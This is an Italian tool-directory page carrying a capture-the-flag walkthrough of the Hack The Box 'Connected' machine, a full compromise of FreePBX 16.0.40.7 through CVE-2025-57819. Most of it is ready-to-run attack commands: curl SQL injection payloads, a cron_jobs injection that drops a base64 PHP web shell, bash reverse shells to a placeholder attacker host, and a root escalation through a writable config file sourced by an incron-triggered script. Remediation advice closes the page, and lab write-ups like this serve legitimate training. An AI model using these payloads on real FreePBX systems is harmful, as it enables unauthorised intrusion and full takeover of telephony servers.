Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — Questo walkthrough documenta il compromesso completo della macchina HTB Connected. | Kitploit
Strumenti/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Escalation di PrivilegiAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Questo walkthrough documenta il compromesso completo della macchina HTB Connected.

Vedi Repository
1171 mese faNon ancora revisionato

FreePBX: Da SQL Injection Non Autenticata alla Shell di Root

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Riepilogo Esecutivo

Questo walkthrough documenta il compromesso completo della macchina HTB Connected.

La catena di attacco inizia con una vulnerabilità di SQL injection non autenticata in FreePBX, che viene sfruttata per ottenere l'esecuzione di codice come utente asterisk tramite un job cron appositamente creato. Un file di configurazione scrivibile combinato con un trigger incron consente quindi l'escalation dei privilegi a root.

Questo caso dimostra come le vulnerabilità delle applicazioni web, se combinate con permessi locali deboli e automazione privilegiata insicura, possano portare al compromesso completo del sistema.


🔍 Passo 1 – Enumerazione e Scoperta del Virtual Host

Una rapida scansione delle porte rivela le porte aperte del target:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
PortaServizio
22SSH
80HTTP
443HTTPS

Un'ispezione più approfondita mostra un server Apache che esegue PHP 7.4, con un reindirizzamento HTTP verso:

root@kitploit:~
http://connected.htb/

Per accedere correttamente al sito, aggiungi la mappatura del virtual host:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Navigando su http://connected.htb/ si rivela:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Passo 2 – Sfruttamento di CVE-2025-57819 (SQL Injection)

La ricerca identifica CVE-2025-57819, una vulnerabilità di SQL injection basata su errori non autenticata nel componente Endpoint Manager di FreePBX.

Conferma la vulnerabilità estraendo l'utente del database:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

La risposta contiene:

root@kitploit:~
~USER:freepbxuser@localhost~

Questo conferma che la SQL injection funziona e che l'applicazione si connette a MySQL come:

root@kitploit:~
freepbxuser@localhost

⚙️ Passo 3 – Ottenere l'Esecuzione di Codice tramite Attività Pianificate

FreePBX memorizza i job pianificati nella tabella cron_jobs.

Iniettando una voce dannosa in questa tabella, è possibile pianificare l'esecuzione di comandi arbitrari.

Il seguente payload crea una web shell PHP nella root web:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

Il server restituisce un errore generico 500, ma l'istruzione SQL viene eseguita con successo.

Dopo circa un minuto, verifica che la web shell sia stata creata:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Output:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Ora abbiamo l'esecuzione di comandi come utente asterisk tramite richieste HTTP.


💻 Passo 4 – Stabilire una Reverse Shell Interattiva

Avvia un listener Netcat sulla macchina attaccante:

root@kitploit:~
nc -lvnp 4444

Attiva una reverse shell Bash tramite la web shell:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Viene stabilita una connessione:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Ora abbiamo una shell interattiva come utente asterisk.


🔎 Passo 5 – Enumerazione Locale e Percorso di Escalation dei Privilegi

Cerca file scrivibili sotto /etc, escludendo i falsi positivi noti:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Un risultato notevole è:

root@kitploit:~
/etc/dahdi/init.conf

Successivamente, esamina la configurazione incron:

root@kitploit:~
cat /etc/incron.d/*

Questo rivela il seguente watcher del filesystem:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Ciò significa che ogni volta che il file sentinella:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

viene scritto, viene eseguito il seguente script:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

Ispezionando lo script si rivela che esso carica (source):

root@kitploit:~
/etc/dahdi/init.conf

Poiché /etc/dahdi/init.conf è scrivibile dall'utente asterisk e viene caricato da un processo root, fornisce un percorso per l'esecuzione di comandi arbitrari come root.


🚀 Passo 6 – Escalation a Root tramite DAHDI

Avvia un secondo listener Netcat sulla porta 4445:

root@kitploit:~
nc -lvnp 4445

Dalla shell asterisk, aggiungi un payload di reverse shell al file di configurazione scrivibile:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Attiva l'azione incron scrivendo nel file monitorato:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

In pochi secondi, la shell root si connette:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Accesso root completo ottenuto!


🏁 Passo 7 – Cattura delle Flag

Flag Utente

root@kitploit:~
cat /home/asterisk/user.txt

Output:

root@kitploit:~
HTB{...user_flag...}

Flag Root

root@kitploit:~
cat /root/root.txt

Output:

root@kitploit:~
HTB{...root_flag...}

📚 Riepilogo della Catena di Attacco

root@kitploit:~
SQL Injection Non Autenticata
            │
            ▼
     Esecuzione Query MySQL
            │
            ▼
   Inserimento Job Cron Dannoso
            │
            ▼
      Web Shell PHP
            │
            ▼
      Shell asterisk
            │
            ▼
 /etc/dahdi/init.conf Scrivibile
            │
            ▼
       Trigger incron
            │
            ▼
      Esecuzione Comandi Root
            │
            ▼
          root

📊 Lezioni Apprese

VulnerabilitàImpatto
SQL Injection Non AutenticataHa esposto il contesto dell'utente del database e ha fornito un punto d'appoggio per scrivere dati dannosi
Iniezione di Job CronHa consentito l'esecuzione remota di codice come account di servizio a bassi privilegi

🔐 Raccomandazioni

1. Convalida l'Input dell'Utente

Utilizza query parametrizzate e una rigorosa convalida dell'input per tutte le operazioni sul database.

Non concatenare mai input controllato dall'utente direttamente nelle query SQL.

2. Limita i Permessi dei File di Configurazione

I file di configurazione consumati dai servizi privilegiati non dovrebbero essere scrivibili da account di servizio a bassi privilegi.

In particolare, rivedi i permessi sui file sotto:

root@kitploit:~
/etc/

3. Rivedi i Job Cron e Incron

Controlla regolarmente le attività pianificate e i watcher del filesystem.

I job privilegiati non dovrebbero eseguire comandi basati su file che utenti non fidati possono modificare.

4. Evita di Caricare Configurazioni Non Fidate

Gli script di proprietà di root dovrebbero evitare di caricare file di configurazione che possono essere modificati da utenti non privilegiati.

5. Applica il Principio del Minimo Privilegio

Le applicazioni e i servizi web dovrebbero essere eseguiti con i permessi minimi richiesti per il loro funzionamento.

Ridurre i privilegi dell'ambiente FreePBX/Apache può limitare significativamente l'impatto di un compromesso applicativo riuscito.


🏆 Catena di Attacco Finale

root@kitploit:~
CVE-2025-57819
      │
      ▼
SQL Injection Non Autenticata
      │
      ▼
Manipolazione della Tabella cron_jobs
      │
      ▼
Web Shell PHP Pianificata
      │
      ▼
Utente asterisk
      │
      ▼
/etc/dahdi/init.conf Scrivibile
      │
      ▼
Watcher File incron
      │
      ▼
Script DAHDI Privilegiato
      │
      ▼
Shell Root
      │
      ▼
🏆 Compromesso Completo del Sistema

Disclaimer: Questo write-up è inteso a scopo educativo e per test di sicurezza autorizzati, come i laboratori Hack The Box e ambienti controllati.

Scarica lo strumento
File di Configurazione Scrivibile + incronHa consentito l'escalation diretta dei privilegi a root
Script Privilegiato che Carica File Scrivibile dall'UtenteHa consentito l'esecuzione di comandi arbitrari con privilegi di root